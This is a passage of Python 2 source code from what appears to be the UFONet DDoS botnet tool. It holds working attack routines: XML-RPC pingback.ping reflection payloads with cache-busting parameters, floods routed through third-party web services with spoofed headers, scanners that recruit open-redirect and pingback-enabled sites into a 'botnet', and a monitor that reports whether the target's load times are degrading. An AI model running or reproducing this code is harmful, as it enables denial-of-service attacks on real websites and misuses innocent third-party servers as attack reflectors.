  2132. print('[Error] Our scanner can not connect to the target this round... Skipping!\n')
  2133. return
  2134. try:
  2135. s, size_name = self.convert_size(len(target_reply))
  2136. self.loadcheck_size_list.append(s) # add record to size list
  2137. size = '%s %s' % (s,size_name)
  2138. except:
  2139. size = "Error!"
  2140. try:
  2141. time_required = self.stop - self.start
  2142. load = self.convert_time(time_required)
  2143. self.loadcheck_load_list.append(load) # add record to load list
  2144. except:
  2145. load = "Error!"
  2146. self.loadcheck_counter = self.loadcheck_counter + 1
  2147. print ' -Total tests:', self.loadcheck_counter, "\n"
  2148. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  2149. lsm = self.extract_median(self.loadcheck_size_list)
  2150. if lsm is not None:
  2151. self.loadcheck_size_median = str(lsm) + " " + size_name
  2152. else:
  2153. self.loadcheck_size_median = None
  2154. llm = self.extract_median(self.loadcheck_load_list)
  2155. if llm is not None:
  2156. self.loadcheck_load_median = str(llm) + " seconds"
  2157. else:
  2158. self.loadcheck_load_median = None
  2159. if self.loadcheck_counter == 2: # first round
  2160. print ' -Bytes in (first round) :', self.loadcheck_first_size
  2161. print ' -Bytes in (this round) :', size
  2162. if self.loadcheck_size_median is not None:
  2163. print ' -Bytes in (median) :', self.loadcheck_size_median
  2164. print ' ----'
  2165. print ' -Load time (first round) :', self.loadcheck_first_load, "seconds"
  2166. print ' -Load time (this round) :', load, "seconds"
  2167. if self.loadcheck_load_median is not None:
  2168. print ' -Load time (median) :', self.loadcheck_load_median, "\n"
  2169. else:
  2170. print "\n"
  2171. self.loadcheck_size_max = None
  2172. self.loadcheck_size_min = None
  2173. self.loadcheck_load_max = None
  2174. self.loadcheck_load_min = None
  2175. elif self.loadcheck_counter > 2: # rest of rounds
  2176. lsmax = max(self.loadcheck_size_list)
  2177. if lsmax is not None:
  2178. self.loadcheck_size_max = str(lsmax) + " " + size_name
  2179. else:
  2180. self.loadcheck_size_max = None
  2181. lsmin = min(self.loadcheck_size_list)
  2182. if lsmin is not None:
  2183. self.loadcheck_size_min = str(lsmin) + " " + size_name
  2184. else:
  2185. self.loadcheck_size_min = None
  2186. llmax = max(self.loadcheck_load_list)
  2187. if llmax is not None:
  2188. self.loadcheck_load_max = str(llmax) + " seconds"
  2189. else:
  2190. self.loadcheck_load_max = None
  2191. llmin = min(self.loadcheck_load_list)
  2192. if llmin is not None:
  2193. self.loadcheck_load_min = str(llmin) + " seconds"
  2194. else:
  2195. self.loadcheck_load_min = None
  2196. print ' -Bytes in (first round) :', self.loadcheck_first_size
  2197. print ' -Bytes in (previous round) :', self.loadcheck_prev_size
  2198. print ' -Bytes in (this round) :', size
  2199. if self.loadcheck_size_max is not None:
  2200. print ' -Bytes in (max) :', self.loadcheck_size_max
  2201. if self.loadcheck_size_min is not None:
  2202. print ' -Bytes in (min) :', self.loadcheck_size_min
  2203. if self.loadcheck_size_median is not None:
  2204. print ' -Bytes in (median) :', self.loadcheck_size_median
  2205. print ' ----'
  2206. print ' -Load time (first round) :', self.loadcheck_first_load, "seconds"
  2207. print ' -Load time (previous round):', self.loadcheck_prev_load, "seconds"
  2208. print ' -Load time (this round) :', load, "seconds"
  2209. if self.loadcheck_load_max is not None:
  2210. print ' -Load time (max) :', self.loadcheck_load_max
  2211. if self.loadcheck_load_min is not None:
  2212. print ' -Load time (min) :', self.loadcheck_load_min
  2213. if self.loadcheck_load_median is not None:
  2214. print ' -Load time (median) :', self.loadcheck_load_median, "\n"
  2215. else:
  2216. print "\n"
  2217. if self.loadcheck_prev_load < load: # target is loading more slowly
  2218. print "[Info] SCANNER: Your target is serving content more slowly this round... [Keep shooting!]\n"
  2219. elif self.loadcheck_prev_load == load: # inmutable target
  2220. print "[Info] SCANNER: Your attack is not having any effect on you target this round...\n"
  2221. elif self.loadcheck_prev_load > load: # is target defending?
  2222. print "[Info] SCANNER: Your target is loading this round faster than the previous one... o_0\n"
  2223. else:
  2224. print ' -Bytes in (this round) :', size
  2225. print ' -Load time (this round):', load, "seconds\n"
  2226. self.loadcheck_first_size = size
  2227. self.loadcheck_first_load = load
  2228. self.loadcheck_size_median = None
  2229. self.loadcheck_load_median = None
  2230. self.loadcheck_size_max = None
  2231. self.loadcheck_size_min = None
  2232. self.loadcheck_load_max = None
  2233. self.loadcheck_load_min = None
  2234. self.loadcheck_prev_size = size # record previous size
  2235. self.loadcheck_prev_load = load # record previous load
  2236. def convert_size(self, size):
  2237. if (size == 0):
  2238. return '0 B'
  2239. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  2240. i = int(math.floor(math.log(size,1024)))
  2241. p = math.pow(1024,i)
  2242. s = round(size/p,2)
  2243. return s, size_name[i]
  2244. def convert_time(self, time):
  2245. return '%.2f' % time
  2246. def send_aliens(self, target):
  2247. # extract external web abuse services urls (POST) and perform requests against target
  2248. options = self.options
  2249. print "\n[Info] Deploying heavy alien troops with 'laser-cannon' weapons...\n"
  2250. aliens = self.extract_aliens() # extract aliens from file
  2251. self.total_aliens = len(aliens) # add total of aliens to stats
  2252. shuffle(aliens) # shuffle aliens
  2253. for alien in aliens:
  2254. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  2255. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  2256. pattern_alien = re.compile(regex_alien)
  2257. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  2258. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  2259. pattern_param = re.compile(regex_param)
  2260. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  2261. for u in alien_url:
  2262. url = u # ex: POST -> path/submit.php
  2263. print "[Info] Firing from: " + url
  2264. for p in param:
  2265. param_target = {p : target} # ex POST -> url=target
  2266. param_target = urllib.urlencode(param_target)
  2267. try:
  2268. if options.verbose:
  2269. print "[Info] Sniping: " + url + " - POST:", param_target
  2270. req = urllib2.Request(url, param_target)
  2271. rsp = urllib2.urlopen(req)
  2272. #content = rsp.read()
  2273. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  2274. except Exception:
  2275. print "[Error] Alien: " + alien + " -> FAILED (cannot connect!)"
  2276. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  2277. def extract_aliens(self):
  2278. # extract aliens from file
  2279. options = self.options
  2280. try:
  2281. f = open(self.aliens_file)
  2282. aliens = f.readlines()
  2283. aliens = [ alien.replace('\n','') for alien in aliens ]
  2284. f.close()
  2285. if not aliens:
  2286. print "\n[Error] - Imposible to retrieve 'aliens' from file.\n"
  2287. return
  2288. else:
  2289. return aliens
  2290. except:
  2291. if os.path.exists(self.aliens_file) == True:
  2292. print '\n[Error] - Cannot open:', 'aliens.txt', "\n"
  2293. return #sys.exit(2)
  2294. else:
  2295. print '\n[Error] - Cannot found:', 'aliens.txt', "\n"
  2296. return #sys.exit(2)
  2297. def send_droids(self, target):
  2298. # extract external web abuse services urls (GET) and perform requests against target
  2299. options = self.options
  2300. print "\n[Info] Deploying droids with 'light-laser' weapons...\n"
  2301. droids = self.extract_droids() # extract droids from file
  2302. self.total_droids = len(droids) # add total of droids to stats
  2303. shuffle(droids) # shuffle droids
  2304. target = urllib.unquote(target).decode('utf8') # parte urlencoding
  2305. if target.startswith('http://'): # remove http
  2306. target = target.replace('http://', '')
  2307. if target.startswith('https://'):
  2308. target = target.replace('https://', '') # remove https
  2309. for droid in droids:
  2310. if "$TARGET" in droid: # replace droid/parameter for target
  2311. url = droid.replace("$TARGET", target)
  2312. print "[Info] Firing from: " + url
  2313. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2314. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  2315. try:
  2316. req = urllib2.Request(url, None, headers)
  2317. rsp = urllib2.urlopen(req)
  2318. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  2319. except Exception:
  2320. print "[Error] Droid: " + url + " -> FAILED (cannot connect!)"
  2321. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  2322. def extract_droids(self):
  2323. # extract droids from file
  2324. options = self.options
  2325. try:
  2326. f = open(self.droids_file)
  2327. droids = f.readlines()
  2328. droids = [ droid.replace('\n','') for droid in droids ]
  2329. f.close()
  2330. if not droids:
  2331. print "\n[Error] - Imposible to retrieve 'droids' from file.\n"
  2332. return
  2333. else:
  2334. return droids
  2335. except:
  2336. if os.path.exists(self.droids_file) == True:
  2337. print '\n[Error] - Cannot open:', 'droids.txt', "\n"
  2338. return #sys.exit(2)
  2339. else:
  2340. print '\n[Error] - Cannot found:', 'droids.txt', "\n"
  2341. return #sys.exit(2)
  2342. def send_rpcs(self, target):
  2343. # extract vulnerable XML-RPC pingback services and perform requests against target
  2344. print "\n[Info] Aiming 'plasma' cannon reflector turrets...\n"
  2345. rpcs = self.extract_rpcs() # extract rpcs from file
  2346. self.total_rpcs = len(rpcs) # add total rpcs to stats
  2347. shuffle(rpcs) # shuffle rpcs
  2348. def random_key(length):
  2349. key = ''
  2350. for i in range(length):
  2351. key += random.choice(string.lowercase + string.uppercase + string.digits)
  2352. return key
  2353. for rpc in rpcs:
  2354. print "[Info] Firing from: " + rpc
  2355. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2356. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2357. key = random_key(8) # generate random value page to bypass cache
  2358. rpc_page = "?" + str(key)
  2359. key = random_key(6) # re-generate random value id to bypass cache
  2360. rpc_id = "=" + str(key)
  2361. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  2362. if "/xmlrpc.php" in rpc:
  2363. rpc_place = rpc.replace("xmlrpc.php", "")
  2364. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  2365. try:
  2366. req = urllib2.Request(rpc, rpc_exploit, headers)
  2367. target_reply = urllib2.urlopen(req, context=self.ctx).read()
  2368. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  2369. if self.options.verbose:
  2370. print "Reply:", target_reply
  2371. except:
  2372. print "[Error] X-RPC: " + rpc + " -> FAILED (cannot connect!)"
  2373. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  2374. def extract_rpcs(self):
  2375. # extract rpcs from file
  2376. options = self.options
  2377. try:
  2378. f = open(self.rpcs_file)
  2379. rpcs = f.readlines()
  2380. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  2381. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  2382. f.close()
  2383. if not rpcs:
  2384. print "\n[Error] - Imposible to retrieve 'rpcs' from file.\n"
  2385. return
  2386. else:
  2387. return rpcs
  2388. except:
  2389. if os.path.exists(self.rpcs_file) == True:
  2390. print '\n[Error] - Cannot open:', 'rpcs.txt', "\n"
  2391. return #sys.exit(2)
  2392. else:
  2393. print '\n[Error] - Cannot found:', 'rpcs.txt', "\n"
  2394. return #sys.exit(2)
  2395. def extract_zombies(self):
  2396. # extract targets from file
  2397. options = self.options
  2398. if self.options.test:
  2399. try:
  2400. f = open(options.test)
  2401. zombies = f.readlines()
  2402. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  2403. f.close()
  2404. if not zombies:
  2405. print "\n[Error] - Imposible to extract 'zombies' from file "+options.test+".\n"
  2406. return
  2407. else:
  2408. return zombies
  2409. except:
  2410. if os.path.exists(options.test) == True:
  2411. print '\n[Error] - Cannot open:', options.test, "\n"
  2412. return #sys.exit(2)
  2413. else:
  2414. print '\n[Error] - Cannot found:', options.test, "\n"
  2415. return #sys.exit(2)
  2416. else:
  2417. try:
  2418. f = open(self.zombies_file)
  2419. zombies = f.readlines()
  2420. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  2421. f.close()
  2422. if not zombies:
  2423. print "\n[Error] - Imposible to retrieve 'zombies' from file.\n"
  2424. return
  2425. else:
  2426. return zombies
  2427. except:
  2428. if os.path.exists(self.zombies_file) == True:
  2429. print '\n[Error] - Cannot open:', 'zombies.txt', "\n"
  2430. return #sys.exit(2)
  2431. else:
  2432. print '\n[Error] - Cannot found:', 'zombies.txt', "\n"
  2433. return #sys.exit(2)
  2434. def update_zombies(self, zombies_ready):
  2435. # update zombies on file
  2436. options = self.options
  2437. if options.attackme:
  2438. f = open(self.zombies_file, "w") # re-write list
  2439. for zombie in self.doll.real_zombies: # add only alien verified zombies
  2440. for x in zombie:
  2441. f.write(str(x) + os.linesep)
  2442. f.close()
  2443. if options.test or options.testall:
  2444. if not options.test:
  2445. options.test = self.zombies_file
  2446. f = open(options.test, "w") # re-write list only with zombies ready
  2447. for zombie in zombies_ready:
  2448. f.write(zombie + os.linesep)
  2449. f.close()
  2450. if options.search or options.dorks or options.autosearch or options.download: # append only new zombies to list (dorking supported)
  2451. f = open(self.zombies_file)
  2452. zombies_on_file = f.read().splitlines()
  2453. with open(self.zombies_file, "a") as zombie_list:
  2454. for zombie in zombies_ready:
  2455. if zombie not in zombies_on_file: # parse possible repetitions
  2456. zombie_list.write(zombie + os.linesep)
  2457. if options.download:
  2458. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2459. else:
  2460. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  2461. f.close()
  2462. def update_aliens(self, aliens_ready):
  2463. # update aliens on file
  2464. options = self.options
  2465. if options.download: # append only new aliens to list
  2466. f = open(self.aliens_file)
  2467. aliens_on_file = f.read().splitlines()
  2468. with open(self.aliens_file, "a") as alien_list:
  2469. for alien in aliens_ready:
  2470. if alien not in aliens_on_file: # parse possible repetitions
  2471. alien_list.write(alien + os.linesep)
  2472. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2473. f.close()
  2474. def update_droids(self, droids_ready):
  2475. # update droids on file
  2476. options = self.options
  2477. if options.download: # append only new droids to list
  2478. f = open(self.droids_file)
  2479. droids_on_file = f.read().splitlines()
  2480. with open(self.droids_file, "a") as droid_list:
  2481. for droid in droids_ready:
  2482. if droid not in droids_on_file: # parse possible repetitions
  2483. droid_list.write(droid + os.linesep)
  2484. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2485. f.close()
  2486. def update_ucavs(self, ucavs_ready):
  2487. # update ucavs on file
  2488. options = self.options
  2489. if options.download: # append only new ucavs to list
  2490. f = open(self.ucavs_file)
  2491. ucavs_on_file = f.read().splitlines()
  2492. with open(self.ucavs_file, "a") as ucav_list:
  2493. for ucav in ucavs_ready:
  2494. if ucav not in ucavs_on_file: # parse possible repetitions
  2495. ucav_list.write(ucav + os.linesep)
  2496. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2497. f.close()
  2498. def update_rpcs(self, rpcs_ready):
  2499. # update rpcs on file
  2500. options = self.options
  2501. if options.testrpc or options.testall:
  2502. f = open(self.rpcs_file, "w") # re-write list
  2503. for rpc in rpcs_ready: # add only rpc verified zombies
  2504. f.write(rpc + os.linesep)
  2505. f.close()
  2506. if options.download: # append only new rpcs to list
  2507. f = open(self.rpcs_file)
  2508. rpcs_on_file = f.read().splitlines()
  2509. with open(self.rpcs_file, "a") as rpc_list:
  2510. for rpc in rpcs_ready:
  2511. if rpc not in rpcs_on_file: # parse possible repetitions
  2512. rpc_list.write(rpc + os.linesep)
  2513. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2514. f.close()
  2515. def search_rpc(self, rpc_host):
  2516. rpc_vulnerable = False
  2517. rpc_pingback_url = False
  2518. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2519. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2520. try:
  2521. if self.options.testall: # testing_all
  2522. req = urllib2.Request(rpc_host, None, headers)
  2523. rpc_code = urllib2.urlopen(req).read()
  2524. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  2525. for link in rpc_links:
  2526. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  2527. rpc_pingback_url = link[0]
  2528. rpc_vulnerable = True
  2529. break # found it!
  2530. else: # not any XML-RPC discovering methods are working
  2531. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  2532. rpc_vulnerable = False
  2533. else:
  2534. if rpc_host.startswith("http://"):
  2535. rpc_host = rpc_host.replace("http://", "")
  2536. if rpc_host.startswith("https://"):
  2537. rpc_host = rpc_host.replace("https://", "")
  2538. rpc_host = urlparse(rpc_host)
  2539. rpc_path = rpc_host.path.replace("\r", "")
  2540. self.head = True # send HTTP HEAD request searching for: X-Pingback
  2541. reply = self.connect_zombie(rpc_path)
  2542. self.head = False
  2543. if "X-Pingback" in reply: # discovering pingback-enabled resources
  2544. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  2545. rpc_pingback_url = m.group(1) # extract rpc server url
  2546. rpc_vulnerable = True
  2547. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  2548. req_rpc = urllib2.Request(rpc_host, None, headers)
  2549. req_rpc.get_method = lambda : 'GET'
  2550. rpc_code = urllib2.urlopen(req_rpc).read()
  2551. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  2552. for link in rpc_links:
  2553. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  2554. rpc_pingback_url = link[0]
  2555. rpc_vulnerable = True
  2556. break # found it!
  2557. else: # not any XML-RPC discovering methods are working
  2558. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  2559. rpc_vulnerable = False
  2560. except: # something wrong discovering XML-RPC Pingback
  2561. pass
  2562. return rpc_vulnerable, rpc_pingback_url
  2563. def testing_offline(self):
  2564. # check for zombies offline
  2565. print ("\nChecking for 'zombies' offline!\n")
  2566. print '='*35
  2567. zombies_online = 0
  2568. zombies_offline = 0
  2569. zombies = self.extract_zombies()
  2570. rpcs = self.extract_rpcs()
  2571. aliens = self.extract_aliens()
  2572. droids = self.extract_droids()
  2573. ucavs = self.extract_ucavs()
  2574. try:
  2575. botnet = zombies + rpcs + aliens + droids + ucavs
  2576. except:
  2577. return
  2578. discarded = [] # for discarded zombies
  2579. if not botnet:
  2580. return
  2581. self.head = True
  2582. for zombie in botnet:
  2583. zombie = str(zombie)
  2584. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  2585. zombie_type = 'Zombie'
  2586. elif zombie in rpcs:
  2587. zombie_type = 'XML-RPC'
  2588. elif zombie in aliens:
  2589. zombie_type = 'Alien'
  2590. elif zombie in droids:
  2591. zombie_type = 'Droid'
  2592. elif zombie in ucavs:
  2593. zombie_type = 'UCAV'
  2594. t = urlparse(zombie)
  2595. name_zombie = t.netloc
  2596. if zombie_type == 'Alien': # 'Aliens' are made with keyword ;$POST;
  2597. sep = ';$POST;'
  2598. zombie = zombie.split(sep, 1)[0]
  2599. reply = str(self.connect_zombie(zombie))
  2600. if reply == "200" or reply == "302" or reply == "301" or reply == "401" or reply == "403" or reply == "405" or reply == '500':
  2601. status = "ONLINE!"
  2602. zombies_online = zombies_online + 1
  2603. else:
  2604. status = "NOT Working!"
  2605. zombies_offline = zombies_offline + 1
  2606. print "\nName:", name_zombie
  2607. print "Type: [", zombie_type, "]"
  2608. print "Vector:", zombie
  2609. print "HTTP Code:", reply
  2610. print "STATUS:", status
  2611. print '-'*21
  2612. if status == "NOT Working!": # add to discarded zombies
  2613. if zombie not in discarded:
  2614. discarded.append(zombie)
  2615. print "\n" + '='*52
  2616. print "\n+ Total Botnet:", len(botnet)
  2617. print "\n" + '-'*25 + "\n"
  2618. print " - ONLINE:", zombies_online
  2619. print " - OFFLINE:", zombies_offline, "\n"
  2620. print '='*52 + '\n'
  2621. self.head = False
  2622. if zombies_offline > 0:
  2623. if not self.options.forceyes:
  2624. test_reply = raw_input("Want to update your army? (Y/n)\n")
  2625. print '-'*25 + "\n"
  2626. else:
  2627. test_reply = "Y"
  2628. if test_reply == "n" or test_reply == "N":
  2629. print "Bye!\n"
  2630. return
  2631. else:
  2632. disc_zombies = self.discard_zombies(discarded) # discard zombies from botnet (remove from files)
  2633. print '='*52
  2634. print "\n - DISCARDED:", disc_zombies
  2635. new_botnet = int(len(botnet) - disc_zombies)
  2636. print "\n+ New Total Botnet:", str(new_botnet), "\n"
  2637. print '='*52 + '\n'
  2638. else:
  2639. print "[Info] ALL checked 'zombies' are ONLINE... Exiting!\n"
  2640. def discard_zombies(self, discarded):
  2641. disc_zombies = 0
  2642. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  2643. for l in zombies_list:
  2644. f = open(l, "r+")
  2645. d = f.readlines()
  2646. f.close()
  2647. f = open(l, "w")
  2648. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  2649. f.close()
  2650. return disc_zombies
  2651. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  2652. m = []
  2653. for zombie_disc in discarded:
  2654. if zombie_disc.endswith(os.linesep):
  2655. zombie_disc = zombie_disc.replace(os.linesep, "")
  2656. elif zombie_disc.endswith("\r"):
  2657. zombie_disc = zombie_disc.replace("\r", "")
  2658. elif zombie_disc.endswith("\r" + os.linesep):
  2659. zombie_disc = zombie_disc.replace("\r" + os.linesep, "")
  2660. for z in d:
  2661. if z.endswith(os.linesep):
  2662. z = z.replace(os.linesep, "")
  2663. elif z.endswith("\r"):
  2664. z = z.replace("\r", "")
  2665. elif z.endswith("\r" + os.linesep):
  2666. z = z.replace("\r" + os.linesep, "")
  2667. if z == zombie_disc:
  2668. disc_zombies = disc_zombies + 1
  2669. else:
  2670. if z not in m and z not in discarded:
  2671. m.append(z)
  2672. if not m:
  2673. f.write("")
  2674. else:
  2675. for z in m:
  2676. f.write(z+os.linesep)
  2677. return disc_zombies
  2678. def testing_rpcs(self, rpcs):
  2679. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  2680. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  2681. if self.options.testall: #testing_all
  2682. print '='*51
  2683. print ("Are 'plasma' reflectors ready? :-) (XML-RPC Check):")
  2684. print '='*51
  2685. num_active_rpcs = 0
  2686. num_failed_rpcs = 0
  2687. rpcs_ready = []
  2688. print "Trying:", len(rpcs)
  2689. print '-'*21
  2690. for rpc in rpcs:
  2691. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2692. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2693. if rpc.startswith("http://") or rpc.startswith("https://"):
  2694. print "Searching 'Pingback' on", rpc
  2695. rpc_host = rpc.replace("/xmlrpc.php", "")
  2696. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  2697. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  2698. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  2699. try:
  2700. req = urllib2.Request(rpc_pingback_url, rpc_methods, headers)
  2701. target_reply = urllib2.urlopen(req, context=self.ctx).read()
  2702. if self.options.verbose:
  2703. print "Reply:", target_reply
  2704. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  2705. print "\n[Info] It looks VULNERABLE !!! ;-)"
  2706. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  2707. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  2708. else:
  2709. print "\n[Info] It is NOT vulnerable..."
  2710. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  2711. except:
  2712. print "[Error] X-RPC: " + rpc + " -> FAILED (cannot connect!)"
  2713. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  2714. else:
  2715. print "\n[Info] It is NOT vulnerable..."
  2716. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  2717. print '-'*10
  2718. print '='*18
  2719. print "OK:", num_active_rpcs, "Fail:", num_failed_rpcs
  2720. print '='*18
  2721. if self.options.testall: # testing_all
  2722. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  2723. else:
  2724. # update 'rpcs' list
  2725. if num_active_rpcs == 0:
  2726. print "\n[Info] - Not any vulnerable 'rpc' active!\n"
  2727. return #sys.exit(2)
  2728. else:
  2729. if not self.options.forceyes:
  2730. update_reply = raw_input("Want to update your army? (Y/n)")
  2731. print '-'*25
  2732. else:
  2733. update_reply = "Y"
  2734. if update_reply == "n" or update_reply == "N":
  2735. print "\nBye!\n"
  2736. return #sys.exit(2)
  2737. else:
  2738. self.update_rpcs(rpcs_ready)
  2739. if not self.options.upload:
  2740. print "\n[Info] - Botnet updated! ;-)\n"
  2741. def testing(self, zombies):
  2742. # test Open Redirect vulnerabilities on webapps and show statistics
  2743. # HTTP HEAD check
  2744. army = 0
  2745. print ("Are 'they' alive? :-) (HEAD Check):")
  2746. print '='*35
  2747. num_active_zombies = 0
  2748. num_failed_zombies = 0
  2749. active_zombies = []
  2750. print "Trying:", len(zombies)
  2751. print '-'*21
  2752. for zombie in zombies:
  2753. zombie = str(zombie)
  2754. if zombie.startswith("http://") or zombie.startswith("https://"):
  2755. # send HEAD connection
  2756. self.head = True
  2757. reply = self.connect_zombies(zombie)
  2758. while self.herd.no_more_zombies() == False:
  2759. time.sleep(1)
  2760. for zombie in self.herd.done:
  2761. zombie = str(zombie)
  2762. t = urlparse(zombie)
  2763. if self.herd.get_result(zombie):
  2764. code_reply = self.herd.get_result(zombie)
  2765. self.head = False
  2766. if code_reply == "200" or code_reply == "302" or code_reply == "301" or code_reply == "401" or code_reply == "403" or code_reply == "405":
  2767. name_zombie = t.netloc
  2768. print "Zombie:", name_zombie
  2769. print "Status: Ok ["+ code_reply + "]"
  2770. num_active_zombies = num_active_zombies + 1
  2771. active_zombies.append(zombie)
  2772. elif code_reply == "404":
  2773. print "Zombie:", t.netloc
  2774. print "Status: Not Found ["+ code_reply + "]"
  2775. num_failed_zombies = num_failed_zombies + 1
  2776. else:
  2777. print "Zombie:", t.netloc, "\nVector:", zombie
  2778. print "Status: Not Allowed ["+ code_reply + "]"
  2779. num_failed_zombies = num_failed_zombies + 1
  2780. else:
  2781. if self.options.verbose:
  2782. print "Reply:", "\n\nNothing!!!!!\n"
  2783. print "Zombie:", zombie
  2784. print "Status: Malformed!"
  2785. num_failed_zombies = num_failed_zombies + 1
  2786. print '-'*10
  2787. self.herd.reset()
  2788. print '='*18
  2789. print "OK:", num_active_zombies, "Fail:", num_failed_zombies
  2790. print '='*18 + "\n"
  2791. print '='*22
  2792. # check url parameter vectors
  2793. print ("Checking for payloads:")
  2794. print '='*22
  2795. print "Trying:", num_active_zombies
  2796. print '-'*21
  2797. zombies_ready = []
  2798. num_waiting_zombies = 0
  2799. if num_active_zombies == 0:
  2800. num_disconnected_zombies = num_failed_zombies
  2801. else:
  2802. num_disconnected_zombies = 0
  2803. for zombie in active_zombies:
  2804. zombie = str(zombie)
  2805. t = urlparse(zombie)
  2806. name_zombie = t.netloc
  2807. self.payload = True
  2808. try:
  2809. self.connect_zombies(zombie)
  2810. except:
  2811. pass
  2812. self.payload = False
  2813. time.sleep(1)
  2814. while self.herd.no_more_zombies() == False:
  2815. time.sleep(1)
  2816. for zombie in self.herd.done:
  2817. zombie = str(zombie)
  2818. t = urlparse(zombie)
  2819. name_zombie = t.netloc
  2820. payload_zombie = zombie
  2821. payload_reply = ""
  2822. print "Vector:", payload_zombie
  2823. self.payload = True
  2824. if self.herd.get_result(zombie):
  2825. payload_reply = self.herd.get_result(zombie)
  2826. self.payload = False
  2827. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  2828. num_waiting_zombies = num_waiting_zombies + 1
  2829. print "Status:", "Waiting for orders..."
  2830. zombies_ready.append(zombie)
  2831. else:
  2832. num_disconnected_zombies = num_disconnected_zombies + 1
  2833. print "Status:", "Not ready..."
  2834. army = army + 1
  2835. print '-'*10
  2836. self.herd.reset()
  2837. print '='*18
  2838. print "OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies
  2839. print '='*18 + "\n"
  2840. # list of 'zombies' ready to attack
  2841. num_active_zombie = 0
  2842. for z in zombies_ready:
  2843. t = urlparse(z)
  2844. name_zombie = t.netloc
  2845. num_active_zombie = num_active_zombie + 1
  2846. if self.options.verbose:
  2847. print "Zombie [", num_active_zombie, "]:", name_zombie + "\n"
  2848. if self.options.testall: # testing_all
  2849. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  2850. else:
  2851. print '-'*25 + "\n"
  2852. print '='*24
  2853. print "Working 'zombies':", num_active_zombie
  2854. print '='*24
  2855. if not self.options.forceyes:
  2856. update_reply = raw_input("\nWant to update your army? (Y/n)")
  2857. print '-'*25
  2858. else:
  2859. update_reply = "Y"
  2860. if update_reply == "n" or update_reply == "N":
  2861. print "\nBye!\n"
  2862. return #sys.exit(2)
  2863. else:
  2864. self.update_zombies(zombies_ready)
  2865. if not self.options.upload:
  2866. print "\n[Info] - Botnet updated! ;-)\n"
  2867. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  2868. def testing_all(self):
  2869. # test whole botnet
  2870. print ("\nChecking if ALL your zombies are still infected (WARNING: this may take serveral time!)\n")
  2871. print '='*35
  2872. zombies = self.extract_zombies()
  2873. rpcs = self.extract_rpcs()
  2874. aliens = self.extract_aliens()
